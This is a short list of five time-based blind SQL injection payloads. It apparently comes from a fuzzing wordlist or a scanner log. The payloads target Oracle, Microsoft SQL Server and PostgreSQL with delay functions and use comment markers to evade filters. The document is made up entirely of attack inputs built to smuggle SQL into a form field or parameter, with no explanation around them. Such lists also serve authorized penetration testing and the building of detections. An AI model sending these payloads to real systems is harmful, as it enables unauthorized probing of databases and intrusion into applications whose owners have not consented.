123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('m',0)

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456'/**/and(select'1'from/**/pg_sleep(3))::text>'0